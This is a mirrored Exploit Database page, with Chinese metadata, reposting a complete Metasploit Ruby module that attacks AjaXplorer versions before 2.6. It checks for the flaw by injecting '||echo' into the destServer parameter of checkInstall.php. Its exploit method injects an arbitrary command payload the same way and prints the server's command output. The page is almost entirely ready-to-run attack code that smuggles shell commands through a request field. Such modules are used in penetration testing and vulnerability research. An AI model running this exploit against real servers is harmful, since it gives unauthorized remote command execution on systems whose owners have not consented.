AjaXplorer – ‘checkInstall.php’ Remote Command Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2012-10-16
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21993/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  				AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
  				2.6 are vulnerable.
  			},
  			'Author' =>
  				[
  					'Julien Cayssol',#Credited according to SecurityFocus
  					'David Maciejak',#Metasploit module
  					'sinn3r' #Final touch on the Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'OSVDB', '63552' ],
  					[ 'BID', '39334' ]
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 512,
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby python bash telnet'
  						}
  				},
  			'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'AjaXplorer 2.5.5 or older', { }]],
  			'DisclosureDate' => 'Apr 4 2010',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
  			], self.class)
  	end
  
  	def check
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{target_uri.path}plugins/access.ssh/checkInstall.php",
  			'vars_get' => {
  				'destServer'=> "||echo #{clue}"
  			}
  		})
  
  		# If the server doesn't return the default redirection, probably something is wrong
  		if res and res.code == 200 and res.body =~ /#{clue}/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		peer = "#{rhost}:#{rport}"
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  
  		# Trigger the command execution bug
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{target_uri.path}plugins/access.ssh/checkInstall.php",
  			'vars_get' =>
  				{
  					'destServer'=> "||#{payload.encoded}"
  				}
  			})
  
  		if res
  			print_status("#{peer} - The server returned: #{res.code} #{res.message}")
  			m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
  
  			if m.empty?
  				print_error("#{peer} - This server may not be vulnerable")
  			else
  				print_status("#{peer} - Command output from the server:")
  				print_line(m)
  			end
  		end
  	end
  
  end
  
  =begin
  Repo:
  http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
  =end